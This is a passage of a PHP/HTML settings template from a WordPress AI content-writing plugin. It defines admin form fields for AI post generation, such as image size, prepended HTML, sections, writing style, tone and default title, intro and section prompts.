class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model6" name="image_size" class="cr_width_full valuesai6"> <option value="256x256"><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_prepend" id="post_prepend6" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full valuesai6"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_append" id="post_append6" placeholder="HTML content to append to the AI generated content" class="cr_width_full valuesai6"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="custom_shortcodes" id="custom_shortcodes6" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="valuesai6 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title6" name="strip_title" class="valuesai6"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin6" name="skip_spin" class="valuesai6"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate6" name="skip_translate" class="valuesai6"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="valuesai6 cr_width_full" name="strip_by_regex" id="strip_by_regex6" placeholder="regex expression"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="valuesai6 cr_width_full" name="replace_regex" id="replace_regex6" placeholder="regex replacement"></textarea> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok6" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> <div id="mymodalfzr1a" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close1a" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Topic Based", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id1a" name="assistant_id" class="valuesai1a cr_width_full" onchange="assistantSelected('1a');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h3><?php echo esc_html__("Topic Based Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the method to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Generator Method:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai1a cr_width_full" id="title_generator_method1a" name="title_generator_method"> <option value="ai" selected><?php echo esc_html__("AI Writer", 'aiomatic-automatic-ai-content-writer');?></option> <option value="serp"><?php echo esc_html__("Related SERP Searches", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. You can use here the %%topic%% shortcode, to get the value of the above topic, automtically. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Sections List (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="post_sections_list" id="post_sections_list1a" placeholder="Post sections list (one per line)" class="valuesai1a cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Content Sections To Generate:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="section_count1a" name="section_count" placeholder="3-4" class="valuesai1a cr_width_full" value="3-4"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with sections in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Sections To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai1a cr_width_full" id="sections_role1a" name="sections_role"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count1a" name="paragraph_count" placeholder="2-3" class="valuesai1a cr_width_full" value="2"> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of Images To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="topic_images" id="topic_images1a" value="" placeholder="Number of images" class="valuesai1a cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add An Image To Each Heading Of The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="img_all_headings1a" name="img_all_headings" class="valuesai1a" checked> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the location of the heading images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Heading Image Location:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location1a" name="heading_img_location" class="valuesai1a cr_width_full"> <option value="top" selected><?php echo esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="heading"><?php echo esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bottom"><?php echo esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="random"><?php echo esc_html__("Random", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related YouTube videos to add to the created post content. The maximum number of videos you can add to each article: number of sections", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of YouTube Videos To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="topic_videos" id="topic_videos1a" value="" placeholder="Number of videos" class="valuesai1a cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_outro" id="title_outro1a" value="{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}" placeholder="Optional" class="valuesai1a cr_width_full"> </td> </tr> <tr class="hidetopic"> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Table Of Contents:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc1a" name="enable_toc" class="valuesai1a"> </td> </tr> <tr class="hidetopic"> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Table Of Contents Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="title_toc" id="title_toc1a" value="Table of Contents" placeholder="Table of Contents" class="valuesai1a cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Q&A Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa1a" name="enable_qa" class="valuesai1a"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="title_qa1a" name="title_qa" value="Q&A" placeholder="Q&A" class="valuesai1a cr_width_full"> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language1a" name="content_language" type="text" list="languages1a" placeholder="Created content language" class="valuesai1a coderevolution_gutenberg_input" value="English"/> <datalist id="languages1a"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style1a" name="writing_style" type="text" placeholder="Created content writing style" list="writing_styles1a" class="valuesai1a coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles1a"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone1a" name="writing_tone" type="text" list="writing_tones1a" placeholder="Created content writing tone" class="valuesai1a coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones1a"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="title_prompt" id="title_prompt1a" placeholder="Enter your title prompts, one per line" class="valuesai1a cr_width_full">Write a title for an article about "%%topic%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model1a" name="topic_title_model" class="hideAssistant1a valuesai1a cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="intro_prompt" id="intro_prompt1a" placeholder="Enter your intro prompts, one per line" class="valuesai1a cr_width_full">Craft an introduction for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model1a" name="topic_intro_model" class="hideAssistant1a valuesai1a cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Sections Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="sections_prompt" id="sections_prompt1a" placeholder="Enter your sections prompts, one per line" class="valuesai1a cr_width_full">Write %%sections_count%% consecutive headings for an article about "%%title%%" that highlight specific aspects, provide detailed insights and specific recommendations. The headings must be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Don't add numbers to the headings, hyphens or any types of quotes. Return only the headings list, nothing else.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Sections Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_sections_model1a" name="topic_sections_model" class="hideAssistant1a valuesai1a cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated 